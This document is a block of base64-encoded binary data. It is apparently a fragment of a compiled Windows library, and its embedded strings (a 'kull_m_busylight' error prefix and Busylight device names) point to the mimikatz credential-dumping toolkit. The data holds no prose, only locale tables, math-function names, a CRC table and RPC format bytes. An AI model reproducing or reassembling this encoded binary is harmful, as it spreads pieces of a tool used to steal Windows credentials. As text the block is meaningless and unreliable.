PwDEJUAAADA/AMQUQAAAPDnAxAQAAAAzPwDEFIAAADA6AMQLQAAANj8AxByAAAA4OgDEDEAAADk/AMQeAAAACjpAxA6AAAA8PwDEIIAAAD45wMQEQAAAFDpAxA/AAAA/PwDEIkAAAAM/QMQUwAAAOjoAxAyAAAAGP0DEHkAAACA6AMQJQAAACT9AxBnAAAAeOgDECQAAAAw/QMQZgAAADz9AxCOAAAAsOgDECsAAABI/QMQbQAAAFT9AxCDAAAAQOkDED0AAABg/QMQhgAAADDpAxA7AAAAbP0DEIQAAADY6AMQMAAAAHj9AxCdAAAAhP0DEHcAAACQ/QMQdQAAAJz9AxBVAAAAAOgDEBIAAACo/QMQlgAAALT9AxBUAAAAwP0DEJcAAABIwgUQEwAAAMz9AxCNAAAACOkDEDYAAADY/QMQfgAAAAjoAxAUAAAA5P0DEFYAAAAQ6AMQFQAAAPD9AxBXAAAA/P0DEJgAAAAI/gMQjAAAABj+AxCfAAAAKP4DEKgAAAAY6AMQFgAAADj+AxBYAAAAIOgDEBcAAABE/gMQWQAAADjpAxA8AAAAUP4DEIUAAABc/gMQpwAAAGj+AxB2AAAAdP4DEJwAAAAw6AMQGQAAAID+AxBbAAAAaOgDECIAAACM/gMQZAAAAJj+AxC+AAAAqP4DEMMAAAC4/gMQsAAAAMj+AxC4AAAA2P4DEMsAAADo/gMQxwAAADjoAxAaAAAA+P4DEFwAAABM8QMQ4wAAAAT/AxDCAAAAHP8DEL0AAAA0/wMQpgAAAEz/AxCZAAAAQOgDEBsAAABk/wMQmgAAAHD/AxBdAAAA8OgDEDMAAAB8/wMQegAAAFjpAxBAAAAAiP8DEIoAAAAY6QMQOAAAAJj/AxCAAAAAIOkDEDkAAACk/wMQgQAAAEjoAxAcAAAAsP8DEF4AAAC8/wMQbgAAAFDoAxAdAAAAyP8DEF8AAAAA6QMQNQAAANT/AxB8AAAAPOADECAAAADg/wMQYgAAAFjoAxAeAAAA7P8DEGAAAAD46AMQNAAAAPj/AxCeAAAAEAAEEHsAAACQ6AMQJwAAACgABBBpAAAANAAEEG8AAABAAAQQAwAAAFAABBDiAAAAYAAEEJAAAABsAAQQoQAAAHgABBCyAAAAhAAEEKoAAACQAAQQRgAAAJwABBBwAAAAYQBmAC0AegBhAAAAYQByAC0AYQBlAAAAYQByAC0AYgBoAAAAYQByAC0AZAB6AAAAYQByAC0AZQBnAAAAYQByAC0AaQBxAAAAYQByAC0AagBvAAAAYQByAC0AawB3AAAAYQByAC0AbABiAAAAYQByAC0AbAB5AAAAYQByAC0AbQBhAAAAYQByAC0AbwBtAAAAYQByAC0AcQBhAAAAYQByAC0AcwBhAAAAYQByAC0AcwB5AAAAYQByAC0AdABuAAAAYQByAC0AeQBlAAAAYQB6AC0AYQB6AC0AYwB5AHIAbAAAAAAAYQB6AC0AYQB6AC0AbABhAHQAbgAAAAAAYgBlAC0AYgB5AAAAYgBnAC0AYgBnAAAAYgBuAC0AaQBuAAAAYgBzAC0AYgBhAC0AbABhAHQAbgAAAAAAYwBhAC0AZQBzAAAAYwBzAC0AYwB6AAAAYwB5AC0AZwBiAAAAZABhAC0AZABrAAAAZABlAC0AYQB0AAAAZABlAC0AYwBoAAAAZABlAC0AZABlAAAAZABlAC0AbABpAAAAZABlAC0AbAB1AAAAZABpAHYALQBtAHYAAAAAAGUAbAAtAGcAcgAAAGUAbgAtAGEAdQAAAGUAbgAtAGIAegAAAGUAbgAtAGMAYQAAAGUAbgAtAGMAYgAAAGUAbgAtAGcAYgAAAGUAbgAtAGkAZQAAAGUAbgAtAGoAbQAAAGUAbgAtAG4AegAAAGUAbgAtAHAAaAAAAGUAbgAtAHQAdAAAAGUAbgAtAHUAcwAAAGUAbgAtAHoAYQAAAGUAbgAtAHoAdwAAAGUAcwAtAGEAcgAAAGUAcwAtAGIAbwAAAGUAcwAtAGMAbAAAAGUAcwAtAGMAbwAAAGUAcwAtAGMAcgAAAGUAcwAtAGQAbwAAAGUAcwAtAGUAYwAAAGUAcwAtAGUAcwAAAGUAcwAtAGcAdAAAAGUAcwAtAGgAbgAAAGUAcwAtAG0AeAAAAGUAcwAtAG4AaQAAAGUAcwAtAHAAYQAAAGUAcwAtAHAAZQAAAGUAcwAtAHAAcgAAAGUAcwAtAHAAeQAAAGUAcwAtAHMAdgAAAGUAcwAtAHUAeQAAAGUAcwAtAHYAZQAAAGUAdAAtAGUAZQAAAGUAdQAtAGUAcwAAAGYAYQAtAGkAcgAAAGYAaQAtAGYAaQAAAGYAbwAtAGYAbwAAAGYAcgAtAGIAZQAAAGYAcgAtAGMAYQAAAGYAcgAtAGMAaAAAAGYAcgAtAGYAcgAAAGYAcgAtAGwAdQAAAGYAcgAtAG0AYwAAAGcAbAAtAGUAcwAAAGcAdQAtAGkAbgAAAGgAZQAtAGkAbAAAAGgAaQAtAGkAbgAAAGgAcgAtAGIAYQAAAGgAcgAtAGgAcgAAAGgAdQAtAGgAdQAAAGgAeQAtAGEAbQAAAGkAZAAtAGkAZAAAAGkAcwAtAGkAcwAAAGkAdAAtAGMAaAAAAGkAdAAtAGkAdAAAAGoAYQAtAGoAcAAAAGsAYQAtAGcAZQAAAGsAawAtAGsAegAAAGsAbgAtAGkAbgAAAGsAbwBrAC0AaQBuAAAAAABrAG8ALQBrAHIAAABrAHkALQBrAGcAAABsAHQALQBsAHQAAABsAHYALQBsAHYAAABtAGkALQBuAHoAAABtAGsALQBtAGsAAABtAGwALQBpAG4AAABtAG4ALQBtAG4AAABtAHIALQBpAG4AAABtAHMALQBiAG4AAABtAHMALQBtAHkAAABtAHQALQBtAHQAAABuAGIALQBuAG8AAABuAGwALQBiAGUAAABuAGwALQBuAGwAAABuAG4ALQBuAG8AAABuAHMALQB6AGEAAABwAGEALQBpAG4AAABwAGwALQBwAGwAAABwAHQALQBiAHIAAABwAHQALQBwAHQAAABxAHUAegAtAGIAbwAAAAAAcQB1AHoALQBlAGMAAAAAAHEAdQB6AC0AcABlAAAAAAByAG8ALQByAG8AAAByAHUALQByAHUAAABzAGEALQBpAG4AAABzAGUALQBmAGkAAABzAGUALQBuAG8AAABzAGUALQBzAGUAAABzAGsALQBzAGsAAABzAGwALQBzAGkAAABzAG0AYQAtAG4AbwAAAAAAcwBtAGEALQBzAGUAAAAAAHMAbQBqAC0AbgBvAAAAAABzAG0AagAtAHMAZQAAAAAAcwBtAG4ALQBmAGkAAAAAAHMAbQBzAC0AZgBpAAAAAABzAHEALQBhAGwAAABzAHIALQBiAGEALQBjAHkAcgBsAAAAAABzAHIALQBiAGEALQBsAGEAdABuAAAAAABzAHIALQBzAHAALQBjAHkAcgBsAAAAAABzAHIALQBzAHAALQBsAGEAdABuAAAAAABzAHYALQBmAGkAAABzAHYALQBzAGUAAABzAHcALQBrAGUAAABzAHkAc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QBDACAAbQBvAGQAZQBsAAAAAABrAHUAYQBuAGQAbwBCAE8AWAAAAEIAdQBzAHkAbABpAGcAaAB0ACAATwBtAGUAZwBhACAAbQBvAGQAZQBsAAAAQgB1AHMAeQBsAGkAZwBoAHQAIABMAHkAbgBjACAAbQBvAGQAZQBsACAAKABNAGkAYwByAG8AYwBoAGkAcAAgAEkAZAApAAAARgB1AGoAaQB0AHMAdQAgAE0ATQBNADIAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEgAaQBkAFAAXwBHAGUAdABDAGEAcABzACAAKAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACAAKABoAEsAZQBlAHAAQQBsAGkAdgBlAFQAaAByAGUAYQBkACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABoAEIAdQBzAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAZABlAHYAaQBjAGUASABhAG4AZABsAGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABTAGUAdAB1AHAARABpAEcAZQB0AEMAbABhAHMAcwBEAGUAdgBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABXAHIAaQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAFMAaQB6AGUAIABpAHMAIABuAG8AdAAgAHYAYQBsAGkAZABlACAAKABzAGkAegAgAD0AIAAlAHUALAAgAG0AYQB4ACAAPQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAEkAbgB2AGEAbABpAGQAIABEAGUAdgBpAGMAZQAvAEIAdQBzAHkAIABIAGEAbgBkAGwAZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcgBlAGEAZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAFIAZQBhAGQARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcgBlAGEAZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgACUAdQAgAGIAeQB0AGUAKABzACkAIAByAGUAYQBkAGUAZAAsACAAJQB1ACAAdwBhAG4AdABlAGQACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcgBlAGEAZABfAHIAYQB3ACAAOwAgAFsAZ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